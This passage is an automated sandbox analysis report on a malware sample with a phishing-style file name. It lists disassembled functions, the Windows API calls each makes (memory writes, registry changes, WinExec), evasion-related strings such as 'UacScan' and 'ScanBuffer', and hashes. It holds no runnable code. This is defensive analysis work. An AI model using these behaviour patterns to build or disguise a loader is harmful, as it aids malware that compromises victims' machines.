Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: HandleModule$AddressProc$Exec
String ID: Kernel32$WinExec
API String ID: 2292790416-3609268280
Opcode ID: d0e22067127069d00553c8d87b508e1811c51134550d7c6342ed30fb074124b7
Instruction ID: 78092c23edb0741e8d385a2d3ff20ef1e16d16e6999086907ed04610de41314e
Opcode Fuzzy Hash: d0e22067127069d00553c8d87b508e1811c51134550d7c6342ed30fb074124b7
Instruction Fuzzy Hash: 2CF081B1694314BFEB01EFA4DC01F5A77FDE709700FA084A0F908D3650DA34AD159A25

Function 02B25C2C Relevance: 4.6, APIs: 3, Instructions: 105fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,00000000,02B25D74,?,?,02B23900,00000001), ref: 02B25C88
GetLastError.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,00000000,02B25D74,?,?,02B23900,00000001), ref: 02B25CB6

Part of subcall function 02B17D5C: CreateFileA.KERNEL32(00000000,00000000,00000000,00000000,00000003,00000080,00000000,?,?,02B23900,02B25CF6,00000000,02B25D74,?,?,02B23900), ref: 02B17DAA

Part of subcall function 02B17F98: GetFullPathNameA.KERNEL32(00000000,00000104,?,?,?,02B23900,02B25D11,00000000,02B25D74,?,?,02B23900,00000001), ref: 02B17FB7

GetLastError.KERNEL32(00000000,02B25D74,?,?,02B23900,00000001), ref: 02B25D1B

Part of subcall function 02B1A778: FormatMessageA.KERNEL32(00003200,00000000,?,00000000,?,00000100,00000000,?,02B1C3D9,00000000,02B1C433), ref: 02B1A797

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: CreateErrorFileLast$FormatFullMessageNamePath
String ID:
API String ID: 503785936-0
Opcode ID: baf3ed8c469578cbf0b5a3d49de77a98abf575e316f9e33ab2595bd9827d2b35
Instruction ID: 1e8b4b0daa47cb5162ecb49c8fec66eaa457c7880b1a38e29eadc896d460feef
Opcode Fuzzy Hash: baf3ed8c469578cbf0b5a3d49de77a98abf575e316f9e33ab2595bd9827d2b35
Instruction Fuzzy Hash: 34319570E007189FDB10EFA4C985BDEBBF6AF09700FD040A5E504AB390DB756A098FA1

Function 02B2F212 Relevance: 4.6, APIs: 3, Instructions: 59registryCOMMON

Download Yara Rule

APIs

RegOpenKeyA.ADVAPI32(?,00000000,02C8BA58), ref: 02B2F258
RegSetValueExA.ADVAPI32(00000914,00000000,00000000,00000001,00000000,0000001C,00000000,02B2F2C3), ref: 02B2F290
RegCloseKey.ADVAPI32(00000914,00000914,00000000,00000000,00000001,00000000,0000001C,00000000,02B2F2C3), ref: 02B2F29B

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: CloseOpenValue
String ID:
API String ID: 779948276-0
Opcode ID: f7ac8511ed67d9011d622b1fb37030d9d1624884c990d6728317bfabeb952f58
Instruction ID: aaf8704048b86ca2001737db9a699a66b180aaff3b6f120fedb44d426fd9641c
Opcode Fuzzy Hash: f7ac8511ed67d9011d622b1fb37030d9d1624884c990d6728317bfabeb952f58
Instruction Fuzzy Hash: 8E110AB1A40208AFEB00EFA8DD81E9E7BFDEB09740B9045A1B614D7655EB30EE448F54

Function 02B2F214 Relevance: 4.6, APIs: 3, Instructions: 58registryCOMMON

Download Yara Rule

APIs

RegOpenKeyA.ADVAPI32(?,00000000,02C8BA58), ref: 02B2F258
RegSetValueExA.ADVAPI32(00000914,00000000,00000000,00000001,00000000,0000001C,00000000,02B2F2C3), ref: 02B2F290
RegCloseKey.ADVAPI32(00000914,00000914,00000000,00000000,00000001,00000000,0000001C,00000000,02B2F2C3), ref: 02B2F29B

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: CloseOpenValue
String ID:
API String ID: 779948276-0
Opcode ID: 7ee005d2cb1d7f3d4e43fee173dcea621e64e743096c6e28576a293a07628b1c
Instruction ID: c583a64b6425cf91fa3f8dd343c2bc0a43ac95fed810b29f680252759cda958d
Opcode Fuzzy Hash: 7ee005d2cb1d7f3d4e43fee173dcea621e64e743096c6e28576a293a07628b1c
Instruction Fuzzy Hash: 201106B1A40208AFEB00EFA8DD81E9E7BFDEB09740B9045A1B614D7655EB30EE448F54

Function 02B1E364 Relevance: 4.5, APIs: 3, Instructions: 45COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 02B1E373

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: a392d9e270fc91b1ba68ab055f0b80df070bc73b3a8ae4f5386a0c57aaab5823
Instruction ID: cf62b1e7ffc386619a5091bbe796d19930a87376fbd5c22f54b4b25ff03de1a5
Opcode Fuzzy Hash: a392d9e270fc91b1ba68ab055f0b80df070bc73b3a8ae4f5386a0c57aaab5823
Instruction Fuzzy Hash: B8F09660718110C7DB2A7B39AD8466D379AAF403407D094F6EC07DB155DF64CC85D762

Function 02B14D50 Relevance: 4.5, APIs: 3, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(02B2F4A4), ref: 02B14C6E
SysAllocStringLen.OLEAUT32(?,?), ref: 02B14D5B
SysFreeString.OLEAUT32(00000000), ref: 02B14D6D

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: String$Free$Alloc
String ID:
API String ID: 986138563-0
Opcode ID: 3f1784c7bf07cd4297d24ff80a07666f1847e75eafdc0d720cb40ac94caab726
Instruction ID: 52ec3ed92abf5c86fe2e09f386c8718117f591d01557897fc6ce4818e05abfed
Opcode Fuzzy Hash: 3f1784c7bf07cd4297d24ff80a07666f1847e75eafdc0d720cb40ac94caab726
Instruction Fuzzy Hash: 5FE017F82152056EEF186F25DD40B3B373AEFC2741BE484E9A940CA164DB3CD840AE78

Function 02B270DC Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 256COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(?), ref: 02B273DA

Strings

H, xrefs: 02B27191

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: FreeString
String ID: H
API String ID: 3341692771-2852464175
Opcode ID: 944f5d6bc4815127c9b9f3be5b6a46648a0525cd707318ae2bc5a12718da4cbf
Instruction ID: ffe24a56b4168493fdef9377ecc37c51d95c0c553f498a8a1f70b13c89e80fff
Opcode Fuzzy Hash: 944f5d6bc4815127c9b9f3be5b6a46648a0525cd707318ae2bc5a12718da4cbf
Instruction Fuzzy Hash: CFB1E474A017189FDB14CF99D580A9DFBF2FF89314F2481A9E849AB360DB30A849DF54

Function 02B1E760 Relevance: 3.1, APIs: 2, Instructions: 63COMMON

Download Yara Rule

APIs

VariantCopy.OLEAUT32(00000000,00000000), ref: 02B1E781

Part of subcall function 02B1E364: VariantClear.OLEAUT32(?), ref: 02B1E373

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: Variant$ClearCopy
String ID:
API String ID: 274517740-0
Opcode ID: f7f73fb69b99b8f1f15fd7895678d08e9ea309e8c690b8822045bf0443fdd3e2
Instruction ID: 31705c05396b3093132a35808ecb0407729877560101d150f040d0c1827d8464
Opcode Fuzzy Hash: f7f73fb69b99b8f1f15fd7895678d08e9ea309e8c690b8822045bf0443fdd3e2
Instruction Fuzzy Hash: C111C8307102108BE735AF29C8C8A6677DBEF8575079084E6ED4B8F215DB30EC41DB62

Function 02B1E3FC Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 02B1E43C

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: InitVariant
String ID:
API String ID: 1927566239-0
Opcode ID: 9185018459b088728cad0744549f11178f8f9b77ae34eac6703455c8184e4730
Instruction ID: aac2e1a7479b28b3d4be163968fb7e115db2a87ac9fdc6a70b521e5dc32b1f5b
Opcode Fuzzy Hash: 9185018459b088728cad0744549f11178f8f9b77ae34eac6703455c8184e4730
Instruction Fuzzy Hash: 38317171A00209AFDB14DFA8D886AAE77F8EB0C304F8844E5FD09D7250D734EA50CBA5

Function 02B289D0 Relevance: 1.6, APIs: 1, Instructions: 72COMMON

Download Yara Rule

APIs

Part of subcall function 02B281CC: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02B2823C,?,?,00000000,?,02B27A7E,ntdll,00000000,00000000,02B27AC3,?,?,00000000), ref: 02B2820A
Part of subcall function 02B281CC: GetModuleHandleA.KERNELBASE(?), ref: 02B2821E

Part of subcall function 02B28274: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02B282FC,?,?,00000000,00000000,?,02B28215,00000000,KernelBASE,00000000,00000000,02B2823C), ref: 02B282C1
Part of subcall function 02B28274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02B282C7
Part of subcall function 02B28274: GetProcAddress.KERNEL32(?,?), ref: 02B282D9

Part of subcall function 02B27D78: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02B27DEC

Part of subcall function 02B28338: FlushInstructionCache.KERNEL32(?,?,?,00000000,Kernel32,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,02B283C2), ref: 02B283A4

FreeLibrary.KERNEL32(742B0000,00000000,00000000,00000000,00000000,02B9738C,Function_0000662C,00000004,02B9739C,02B9738C,05F5E103,00000040,02B973A0,742B0000,00000000,00000000), ref: 02B28AAA

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: HandleModule$AddressProc$CacheFlushFreeInstructionLibraryMemoryVirtualWrite
String ID:
API String ID: 1478290883-0
Opcode ID: 566467167035598960a9aa4e6fea7b2745b7a3bb42487541fa31e889ffbab21b
Instruction ID: 401c5546b03e7ac287ec388b66642f19348bdca534cc7cf9fffcb5614c4529ea
Opcode Fuzzy Hash: 566467167035598960a9aa4e6fea7b2745b7a3bb42487541fa31e889ffbab21b
Instruction Fuzzy Hash: C02157F0694310AFEB00F7B4DD02B9DB7EADB05740F9044E0F608E7190DE749905AA1D

Function 02B16350 Relevance: 1.5, APIs: 1, Instructions: 32COMMON

Download Yara Rule

APIs

LoadStringA.USER32(00000000,00010000,?,00001000), ref: 02B16382

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: LoadString
String ID:
API String ID: 2948472770-0
Opcode ID: 15b53e0d5145ed84fd5c7cafbd31ebd2320449e067a6ebeb3fc1f24139cbf607
Instruction ID: f732f31b1b6e725ca1a9caa1cd9428848e30afcf4ad28c3bee2a056935fccc7b
Opcode Fuzzy Hash: 15b53e0d5145ed84fd5c7cafbd31ebd2320449e067a6ebeb3fc1f24139cbf607
Instruction Fuzzy Hash: CDF039717006109BDB11EA9CD8C0B9A73DD9F48355B84C1E1BA98CB359DBA0EC558FA2

Function 02B26D6C Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(00000000,?,00000000,02B26DB9,?,?,?,00000000), ref: 02B26D99

Part of subcall function 02B14C60: SysFreeString.OLEAUT32(02B2F4A4), ref: 02B14C6E

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: FreeFromProgString
String ID:
API String ID: 4225568880-0
Opcode ID: a8ba14f052f68dc6a97f5c029b4808ed4921915a761b52c31bfeaf625329ede6
Instruction ID: 4a4b92f9f1f1dedc7eb8ea25957ab6f61ee95683d80a25ff4dff7ca629b22b25
Opcode Fuzzy Hash: a8ba14f052f68dc6a97f5c029b4808ed4921915a761b52c31bfeaf625329ede6
Instruction Fuzzy Hash: 4CE0ED7520031CBBE711EB62DC42D8E7BBDDB8A750B9104F1F804A3610EA31AE048860

Function 02B15868 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(02B10000,?,00000105), ref: 02B15886

Part of subcall function 02B15ACC: GetModuleFileNameA.KERNEL32(00000000,?,00000105,02B10000,02B3E790), ref: 02B15AE8
Part of subcall function 02B15ACC: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02B10000,02B3E790), ref: 02B15B06
Part of subcall function 02B15ACC: RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02B10000,02B3E790), ref: 02B15B24
Part of subcall function 02B15ACC: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 02B15B42
Part of subcall function 02B15ACC: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,02B15BD1,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 02B15B8B
Part of subcall function 02B15ACC: RegQueryValueExA.ADVAPI32(?,02B15D38,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,02B15BD1,?,80000001), ref: 02B15BA9
Part of subcall function 02B15ACC: RegCloseKey.ADVAPI32(?,02B15BD8,00000000,?,?,00000000,02B15BD1,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 02B15BCB

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: Open$FileModuleNameQueryValue$Close
String ID:
API String ID: 2796650324-0
Opcode ID: 450f0b7c147cec959141904987b0b6e2a54cef4eccdf5940c5d91eecae94a061
Instruction ID: 7c9d9dffa2493a11e4723fb4feeb4da078b4d5d2d69a9d08b4af680170e4844a
Opcode Fuzzy Hash: 450f0b7c147cec959141904987b0b6e2a54cef4eccdf5940c5d91eecae94a061
Instruction Fuzzy Hash: EBE09271A003148FCB20DE9CC8C0B4633D8AF48750F840AA1ED68CF346D7B0D9608BD0

Function 02B17DE0 Relevance: 1.5, APIs: 1, Instructions: 23fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000), ref: 02B17DF4

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: d61ce2c3c763b7742acb03e8648b5f8fe395973a28385ba7f431f6bc08d7eb89
Instruction ID: d311b245ac91300b6e3f49358a685782d7e933ed16b4da00ed8024326a8731f9
Opcode Fuzzy Hash: d61ce2c3c763b7742acb03e8648b5f8fe395973a28385ba7f431f6bc08d7eb89
Instruction Fuzzy Hash: 16D05BB63091507AE224965A5D44EA75BDCCFC6770F50067DF558C7180D7208C01C671

Function 02B17E80 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,02B3356F,ScanString,02B97380,02B3B7B8,OpenSession,02B97380,02B3B7B8,ScanBuffer,02B97380,02B3B7B8,OpenSession,02B97380,02B3B7B8,Initialize), ref: 02B17E8B

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: afc78bd9077d6c58708d8e6086c771a503970b8d403f064203e8295bf92b6468
Instruction ID: 632a84800eedb7547e335e22df8e8bc69168021fc75e2a83c2b73d2cf3e45fdf
Opcode Fuzzy Hash: afc78bd9077d6c58708d8e6086c771a503970b8d403f064203e8295bf92b6468
Instruction Fuzzy Hash: 2DC08CF32112010E1E60A9BC1CC425963CD8B842347E01EE1E438CB2C9DB1698663820

Function 02B17E5C Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,02B3041F,ScanString,02B97380,02B3B7B8,OpenSession,02B97380,02B3B7B8,ScanString,02B97380,02B3B7B8,UacScan,02B97380,02B3B7B8,UacInitialize), ref: 02B17E67

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: b941db7ab817fb70c4c787fb81e96e0e2b9547ca50c7f884e0651a38d8287ef1
Instruction ID: d7cffd8e024f7b8f43385001079872a4dbc1099a3c00f1deb60213e392578619
Opcode Fuzzy Hash: b941db7ab817fb70c4c787fb81e96e0e2b9547ca50c7f884e0651a38d8287ef1
Instruction Fuzzy Hash: 16C08CE22012000A5A5069BC2CC428952CE8B042383F40AE1A438C72E6DB2298A63850

Function 02B14C78 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32 ref: 02B14C8B

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: FreeString
String ID:
API String ID: 3341692771-0
Opcode ID: 2e328a45cd58c208c03ca67c8e7eeb38812660f114415d6457ecd42c0c7951bb
Instruction ID: b8adcb66bebd1b3e48b5fa80b4c996f08707cfa31f9fb7caba0fef6273ec1ac8
Opcode Fuzzy Hash: 2e328a45cd58c208c03ca67c8e7eeb38812660f114415d6457ecd42c0c7951bb
Instruction Fuzzy Hash: 55C012A26102305BEB219AA9ACC0B5262ECDB093A9B9800E1A908DB254E36498008AA0

Function 02B3C35C Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

timeSetEvent.WINMM(00002710,00000000,02B3C350,00000000,00000001), ref: 02B3C36C

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
